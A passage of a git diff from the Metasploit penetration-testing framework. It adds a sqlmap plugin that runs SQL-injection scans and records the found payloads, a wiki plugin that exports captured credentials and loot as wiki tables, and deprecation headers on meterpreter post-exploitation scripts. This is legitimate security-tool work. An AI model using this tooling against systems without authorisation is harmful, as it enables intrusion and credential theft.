b/msfrpcd @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfvenom b/msfvenom index ae0971ed0c..648e5a01aa 100755 --- a/msfvenom +++ b/msfvenom @@ -7,7 +7,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] @@ -99,7 +98,7 @@ require 'msf/core/payload_generator' end opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| - opts[:badchars] = b + opts[:badchars] = Rex::Text.hex_to_raw(b) end opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| diff --git a/plugins/sqlmap.rb b/plugins/sqlmap.rb new file mode 100644 index 0000000000..6115a3a7b6 --- /dev/null +++ b/plugins/sqlmap.rb @@ -0,0 +1,291 @@ +require 'sqlmap/sqlmap_session' +require 'sqlmap/sqlmap_manager' +require 'json' + +module Msf + class Plugin::Sqlmap < Msf::Plugin + class SqlmapCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + 'Sqlmap' + end + + def commands + { + 'sqlmap_new_task' => 'It\'s a task!', + 'sqlmap_connect' => 'sqlmap_connect []', + 'sqlmap_list_tasks' => 'List the knows tasks. Not stored in a DB, so lives as long as the console does', + 'sqlmap_get_option' => 'Get an option for a task', + 'sqlmap_set_option' => 'Set an option for a task', + 'sqlmap_start_task' => 'Start the task', + 'sqlmap_get_status' => 'Get the status of a task', + 'sqlmap_get_log' => 'Get the running log of a task', + 'sqlmap_get_data' => 'Get the resulting data of the task', + 'sqlmap_save_data' => 'Save the resulting data as web_vulns' + } + end + + def cmd_sqlmap_connect(*args) + if args.length == 0 + print_error('Need a host, and optionally a port') + return + end + + host, port = args + + if !port + @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host)) + else + @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host, port)) + end + + print_good('Set connection settings for host ' + host + (port ? ' on port ' + port : '')) + end + + def cmd_sqlmap_set_option(*args) + unless args.length == 3 + print_error('Usage:') + print_error("\tsqlmap_set_option ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + val = args[2] =~ /^\d+$/ ? args[2].to_i : args[2] + + res = @manager.set_option(@hid_tasks[args[0]], args[1], val) + print_status("Success: #{res['success']}") + end + + def cmd_sqlmap_start_task(*args) + if args.length == 0 + print_error('Usage:') + print_error("\tsqlmap_start_task []") + return + end + + options = {} + options['url'] = args[1] if args.length == 2 + + if !options['url'] && @tasks[@hid_tasks[args[0]]]['url'] == '' + print_error('You need to specify a URL either as an argument to sqlmap_start_task or sqlmap_set_option') + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.start_task(@hid_tasks[args[0]], options) + print_status("Started task: #{res['success']}") + end + + def cmd_sqlmap_get_log(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_log ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.get_task_log(@hid_tasks[args[0]]) + + res['log'].each do |message| + print_status("[#{message['time']}] #{message['level']}: #{message['message']}") + end + end + + def cmd_sqlmap_get_status(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_status ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.get_task_status(@hid_tasks[args[0]]) + + print_status('Status: ' + res['status']) + end + + def cmd_sqlmap_get_data(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_data ") + return + end + + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + @tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options'] + + print_line + print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url']) + + res = @manager.get_task_data(@hid_tasks[args[0]]) + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ['Title', 'Payload']) + + res['data'].each do |d| + d['value'].each do |v| + v['data'].each do |i| + title = i[1]['title'].split('-')[0] + payload = i[1]['payload'] + tbl << [title, payload] + end + end + end + + print_line + print_line tbl.to_s + print_line + end + + def cmd_sqlmap_save_data(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_save_data ") + return + end + + unless framework.db && framework.db.usable + print_error('No database is connected or usable') + return + end + + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + @tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options'] + + print_line + print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url']) + + res = @manager.get_task_data(@hid_tasks[args[0]]) + web_vuln_info = {} + url = @tasks[@hid_tasks[args[0]]]['url'] + proto = url.split(':')[0] + host = url.split('/')[2] + port = 80 + host, port = host.split(':') if host.include?(':') + path = '/' + (url.split('/')[3..(url.split('/').length - 1)].join('/')) + query = url.split('?')[1] + web_vuln_info[:web_site] = url + web_vuln_info[:path] = path + web_vuln_info[:query] = query + web_vuln_info[:host] = host + web_vuln_info[:port] = port + web_vuln_info[:ssl] = (proto =~ /https/) + web_vuln_info[:category] = 'imported from sqlmap' + res['data'].each do |d| + d['value'].each do |v| + web_vuln_info[:pname] = v['parameter'] + web_vuln_info[:method] = v['place'] + web_vuln_info[:payload] = v['suffix'] + v['data'].values.each do |i| + web_vuln_info[:name] = i['title'] + web_vuln_info[:description] = res.to_json + web_vuln_info[:proof] = i['payload'] + framework.db.report_web_vuln(web_vuln_info) + end + end + end + print_good('Saved vulnerabilities to database.') + end + + def cmd_sqlmap_get_option(*args) + @hid_tasks ||= {} + @tasks ||= {} + + unless args.length == 2 + print_error('Usage:') + print_error("\tsqlmap_get_option ") + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + arg = args.first + task_options = @manager.get_options(@hid_tasks[arg]) + @tasks[@hid_tasks[arg]] = task_options['options'] + + if @tasks[@hid_tasks[arg]] + print_good(args[1] + ': ' + @tasks[@hid_tasks[arg]][args[1]].to_s) + else + print_error("Option #{arg} doesn't exist") + end + end + + def cmd_sqlmap_new_task + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + taskid = @manager.new_task['taskid'] + @hid_tasks[(@hid_tasks.length + 1).to_s] = taskid + task_options = @manager.get_options(taskid) + @tasks[@hid_tasks[@hid_tasks.length]] = task_options['options'] + print_good("Created task: #{@hid_tasks.length}") + end + + def cmd_sqlmap_list_tasks + @hid_tasks ||= {} + @tasks ||= {} + @hid_tasks.keys.each do |task| + print_good("Task ID: #{task}") + end + end + end + + def initialize(framework, opts) + super + + add_console_dispatcher(SqlmapCommandDispatcher) + + print_status('Sqlmap plugin loaded') + end + + def cleanup + remove_console_dispatcher('Sqlmap') + end + + def name + 'Sqlmap' + end + + def desc + 'Use Sqlmap, yo!' + end + end +end diff --git a/plugins/wiki.rb b/plugins/wiki.rb new file mode 100644 index 0000000000..466609edd1 --- /dev/null +++ b/plugins/wiki.rb @@ -0,0 +1,574 @@ +## +# +# This plugin requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +module Msf + +### +# +# This plugin extends the Rex::Ui::Text::Table class and provides commands +# that output database information for the current workspace in a wiki +# friendly format +# +# @author Trenton Ivey +# * *email:* ("trenton.ivey@example.com").gsub(/example/,"gmail") +# * *github:* kn0 +# * *twitter:* trentonivey +### +class Plugin::Wiki < Msf::Plugin + + ### + # + # This class implements a command dispatcher that provides commands to + # output database information in a wiki friendly format. + # + ### + class WikiCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "Wiki" + end + + # + # Returns the hash of commands supported by the wiki dispatcher. + # + def commands + { + "dokuwiki" => "Outputs data from the current workspace in dokuwiki markup.", + "mediawiki" => "Outputs data from the current workspace in mediawiki markup." + } + end + + # + # Outputs database entries as Dokuwiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'dokuwiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_dokuwiki(*args) + wiki("dokuwiki", *args) + end + + # + # Outputs database entries as Mediawiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'mediawiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_mediawiki(*args) + wiki("mediawiki", *args) + end + + # + # This method parses arguments passed from the wiki output commands + # and then formats and displays or saves text according to the + # provided wiki type + # + # @param [String] wiki_type selects the wiki markup lanuguage output to + # use, it can be: + # * dokuwiki + # * mediawiki + # + # @param [Array] args the arguments passed when the command is + # called + # + def wiki(wiki_type, *args) + # Create a table options hash + tbl_opts = {} + # Set some default options for the table hash + tbl_opts[:hosts] = [] + tbl_opts[:links] = false + tbl_opts[:wiki_type] = wiki_type + tbl_opts[:heading_size] = 5 + case wiki_type + when "dokuwiki" + tbl_opts[:namespace] = 'notes:targets:hosts:' + else + tbl_opts[:namespace] = '' + end + + # Get the table we should be looking at + command = args.shift + if command.nil? or not(["creds","hosts","loot","services","vulns"].include?(command.downcase)) + usage(wiki_type) + return + end + + # Parse the rest of the arguments + while (arg = args.shift) + case arg + when '-o','--output' + tbl_opts[:file_name] = next_opt(args) + when '-h','--help' + usage(wiki_type) + return + when '-l', '-L', '--link', '--links' + tbl_opts[:links] = true + when '-n', '-N', '--namespace' + tbl_opts[:namespace] = next_opt(args) + when '-p', '-P', '--port', '--ports' + tbl_opts[:ports] = next_opts(args) + tbl_opts[:ports].map! {|p| p.to_i} + when '-s', '-S', '--search' + tbl_opts[:search] = next_opt(args) + when '-i', '-I', '--heading-size' + heading_size = next_opt(args) + tbl_opts[:heading_size] = heading_size.to_i unless heading_size.nil? + else + # Assume it is a host + rw = Rex::Socket::RangeWalker.new(arg) + if rw.valid? + rw.each do |ip| + tbl_opts[:hosts] << ip + end + else + print_warning "#{arg} is an invalid hostname" + end + end + end + + # Create an Array to hold a list of tables that we want to show + outputs = [] + + # Output the table + if respond_to? "#{command}_to_table" + table = send "#{command}_to_table", tbl_opts + if table.respond_to? "to_#{wiki_type}" + if tbl_opts[:file_name] + print_status("Wrote the #{command} table to a file as a #{wiki_type} formatted table") + File.open(tbl_opts[:file_name],"wb") {|f| + f.write(table.send "to_#{wiki_type}") + } + else + print_line table.send "to_#{wiki_type}" + end + return + end + end + usage(wiki_type) + end + + # + # Gets the next set of arguments when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [Array] the unique list of items before the next '-' in the + # provided array + # + def next_opts(args) + opts = [] + while ( opt = args.shift ) + if opt =~ /^-/ + args.unshift opt + break + end + opts.concat ( opt.split(',') ) + end + return opts.uniq + end + + # + # Gets the next argument when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [String, nil] the argument or nil if the argument starts with a '-' + # + def next_opt(args) + return nil if args[0] =~ /^-/ + args.shift + end + + # + # Outputs the help message + # + # @param [String] cmd_name the type of the wiki output command to display + # help for + # + def usage(cmd_name = "") + print_line "Usage: #{cmd_name} [options] [IP1 IP2,IPn]" + print_line + print_line "The first argument must be the type of table to retrieve:" + print_line " creds, hosts, loot, services, vulns" + print_line + print_line "OPTIONS:" + print_line " -l,--link Enables links for host addresses" + print_line " -n,--namespace Changes the default namespace for host links" + print_line " -o,--output Write output to a file" + print_line " -p,--port Only return results that relate to given ports" + print_line " -s,--search Only show results that match the provided text" + print_line " -i,--heading-size <1-6> Changes the heading size" + print_line " -h,--help Displays this menu" + print_line + end + + # + # Outputs credentials in the database (within the current workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def creds_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','user','pass','type','proof','active?']}) + tbl.header = 'Credentials' + tbl.headeri = opts[:heading_size] + framework.db.creds.each do |cred| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? cred.service.host.address + end + unless opts[:ports].nil? + next unless opts[:ports].any? {|p| cred.service.port.eql? p} + end + address = cred.service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + cred.service.port, + cred.user, + cred.pass, + cred.ptype, + cred.proof, + cred.active + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs host information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def hosts_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['address','mac','name','os_name','os_flavor','os_sp','purpose','info','comments']}) + tbl.header = 'Hosts' + tbl.headeri = opts[:heading_size] + framework.db.hosts.each do |host| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? host.address + end + unless opts[:ports].nil? + next unless (host.services.map{|s| s[:port]}).any? {|p| opts[:ports].include? p} + end + address = host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + host.mac, + host.name, + host.os_name, + host.os_flavor, + host.os_sp, + host.purpose, + host.info, + host.comments + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs loot information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def loot_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','service','type','name','content','info','path']}) + tbl.header = 'Loot' + tbl.headeri = opts[:heading_size] + framework.db.loots.each do |loot| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? loot.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next if loot.service.nil? or loot.service.port.nil? or not opts[:ports].include? loot.service.port + end + if loot.service + svc = (loot.service.name ? loot.service.name : "#{loot.service.port}/#{loot.service.proto}") + end + address = loot.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + svc || "", + loot.ltype, + loot.name, + loot.content_type, + loot.info, + loot.path + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs service information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def services_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','proto','name','state','info']}) + tbl.header = 'Services' + tbl.headeri = opts[:heading_size] + framework.db.services.each do |service| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? service.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| service[:port].eql? p} + end + address = service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + service.port, + service.proto, + service.name, + service.state, + service.info + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs vulnerability information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def vulns_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['Title','Host','Port','Info','Detail Count','Attempt Count','Exploited At','Updated At']}) + tbl.header = 'Vulns' + tbl.headeri = opts[:heading_size] + framework.db.vulns.each do |vuln| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? vuln.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| vuln.service.port.eql? p} + end + address = vuln.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + vuln.name, + address, + (vuln.service ? vuln.service.port : ""), + vuln.info, + vuln.vuln_detail_count, + vuln.vuln_attempt_count, + vuln.exploited_at, + vuln.updated_at, + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Converts a value to a wiki link + # @param [String] text value to convert to a link + # @param [String] namespace optional namespace to set for the link + # @return [String] the formated wiki link + def to_wikilink(text,namespace = "") + return "[[" + namespace + text + "]]" + end + + end + + + # + # Plugin Initialization + # + + + # + # Constructs a new instance of the plugin and registers the console + # dispatcher. It also extends Rex by adding the following methods: + # * Rex::Ui::Text::Table.to_dokuwiki + # * Rex::Ui::Text::Table.to_mediawiki + # + def initialize(framework, opts) + super + + # Extend Rex::Ui::Text::Table class so it can output wiki formats + add_dokuwiki_to_rex + add_mediawiki_to_rex + + # Add the console dispatcher + add_console_dispatcher(WikiCommandDispatcher) + end + + # + # The cleanup routine removes the methods added to Rex by the plugin + # initialization and then removes the console dispatcher + # + def cleanup + # Cleanup methods added to Rex::Ui::Text::Table + Rex::Ui::Text::Table.class_eval { undef :to_dokuwiki } + Rex::Ui::Text::Table.class_eval { undef :to_mediawiki } + # Deregister the console dispatcher + remove_console_dispatcher('Wiki') + end + + # + # Returns the plugin's name. + # + def name + "wiki" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds output to wikitext" + end + + + # + # The following methods are added here to keep the initialize method + # readable + # + + + # + # Extends Rex tables to be able to create Dokuwiki tables + # + def add_dokuwiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_dokuwiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki paragraph level + if header + level = "=" * headeri + str << level + header + level + "\n" + end + # Add the column names to the top of the table + columns.each do |col| + str << "^ " + col.to_s + " " + end + str << "^\n" unless columns.count.eql? 0 + # Fill out the rest of the table with rows + rows.each do |row| + row.each do |val| + cell = val.to_s + cell = "#{cell}" if cell.include? "|" + str << "| " + cell + " " + end + str << "|\n" unless rows.count.eql? 0 + end + return str + end + end + end + + # + # Extends Rex tables to be able to create Mediawiki tables + # + def add_mediawiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_mediawiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki + # headline level. Mediawiki does headlines a bit backwards so that + # the header level isn't limited. This results in the need to 'flip' + # the headline length to standardize it. + if header + if headeri <= 6 + level = "=" * (-headeri + 7) + str << "#{level} #{header} #{level}" + else + str << "#{header}" + end + str << "\n" + end + # Setup the table with some standard formatting options + str << "{|class=\"wikitable\"\n" + # Output formated column names as the first row + unless columns.count.eql? 0 + str << "!" + str << columns.join("!!") + str << "\n" + end + # Add the rows to the table + unless rows.count.eql? 0 + rows.each do |row| + str << "|-\n|" + # Try and prevent formatting tags from causing problems + bad = ['&','<','>','"',"'",'/'] + r = row.join("|| ") + r.each_char do |c| + if bad.include? c + str << Rex::Text.html_encode(c) + else + str << c + end + end + str << "\n" + end + end + # Finish up the table + str << "|}" + return str + end + end + end + +protected +end +end diff --git a/plugins/wmap.rb b/plugins/wmap.rb index d64471b4be..e5e9d7f678 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -2,13 +2,9 @@ # Web assessment for the metasploit framework # Efrain Torres - et[ ] metasploit.com 2012 # -# $Id$ -# $Revision$ -# require 'rabal/tree' require 'msf/core/rpc/v10/client' -#require 'fileutils' module Msf @@ -931,7 +927,7 @@ class Plugin::Wmap < Msf::Plugin end end - datastr = temparr.join("&") if (temparr and not temparr.empty?) + datastr = temparr.join("&") if (temparr and not temparr.empty?) if (utest_query.has_key?(signature(form.path,datastr)) == false) @@ -1070,7 +1066,7 @@ class Plugin::Wmap < Msf::Plugin end end - datastr = temparr.join("&") if (temparr and not temparr.empty?) + datastr = temparr.join("&") if (temparr and not temparr.empty?) modopts['METHOD'] = req.method.upcase modopts['PATH'] = req.path diff --git a/script/cucumber b/script/cucumber new file mode 100755 index 0000000000..7fa5c92086 --- /dev/null +++ b/script/cucumber @@ -0,0 +1,10 @@ +#!/usr/bin/env ruby + +vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +if vendored_cucumber_bin + load File.expand_path(vendored_cucumber_bin) +else + require 'rubygems' unless ENV['NO_RUBYGEMS'] + require 'cucumber' + load Cucumber::BINARY +end diff --git a/script/rails b/script/rails new file mode 100644 index 0000000000..0839ba426e --- /dev/null +++ b/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' \ No newline at end of file diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index c71d201ce3..b6c52a3105 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 2561dee91a..8af8d4cc5b 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 5c824f1366..96d7ce66e6 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 001172e7c2..f54774e0e6 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index df51c47eb2..a8efd15057 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 0f77699f1b..6e93936f3c 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index 8771a3d139..89caeba6ca 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index e51067256a..8fca66c274 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Script to extract data from a chrome installation. # diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b6527aa0e9..acd1c62880 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index 2cfd630ceb..6814320a77 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 51a4c7eb33..d3fab5da07 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 252c78d8c1..5eae76195b 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 19dcff1ca2..896315b7fb 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 78e611ab74..c19a8fb200 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 18fcaa8595..cedccd5155 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 4ac88d6f56..aa1c3972f3 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 51fd9cb278..fde54cc126 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter 